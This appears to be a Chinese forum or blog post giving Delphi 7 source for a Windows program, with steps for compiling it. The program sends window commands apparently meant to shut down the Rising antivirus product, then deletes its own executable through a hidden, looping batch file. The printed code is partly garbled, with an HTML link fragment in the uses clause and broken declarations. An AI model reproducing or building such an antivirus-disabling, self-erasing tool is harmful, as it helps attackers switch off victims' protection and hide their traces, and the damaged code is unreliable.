源码：

program Project1;

uses
google.com/" target="_blank">Windows, Messages, SysUtils;

procedure DeleteMe;
var
  BatchFile: TextFile;
  BatchFileName: string;
  ProcessInf TProcessInformation;
  StartUpInf TStartupInfo;
begin
  BatchFileName := ExtractFilePath(ParamStr(0)) + ‘_deleteme.bat‘;
  AssignFile(BatchFile, BatchFileName);
  Rewrite(BatchFile);

  Writeln(BatchFile, ‘:try‘);
  Writeln(BatchFile, ‘del "‘ + ParamStr(0) + ‘"‘);
  Writeln(BatchFile,
    ‘if exist "‘ + ParamStr(0) + ‘"‘ + ‘ goto try‘);
  Writeln(BatchFile, ‘del %0‘);
  CloseFile(BatchFile);

  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;
  if CreateProcess(nil, PChar(BatchFileName), nil, nil,
    False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
    ProcessInfo) then
  begin
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
  end;
end;

procedure StopRising;
var
  hWindow: HWND;
  lpClassName: array[0..20] of char;
begin
  hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
  repeat
    GetClassName(hWindow, lpClassName, 20);
    if lpClassName = ‘#32770‘ then //判断搜索窗口的类名
    PostMessage(hWindow, WM_COMMAND,40027,0);
    PostMessage(hWindow, WM_COMMAND,2775,0);
    PostMessage(hWindow, WM_COMMAND,32776,0);
    hWindow := GetWindow(hWindow, GW_HWNDNEXT);
  until
    hWindow = 0;
end;
begin
  StopRising; //调用
  DeleteMe;
end.

把以上内容拷贝到 Project1.dpr 中

在 delphi7 中打开 Project1.dpr 文件,按Ctrl+F9一次, 即可生成EXE文件

程序执行完成后会删除自己,如果不想这样,可以把倒数第二行改成 //DeleteME 或删除这一行即可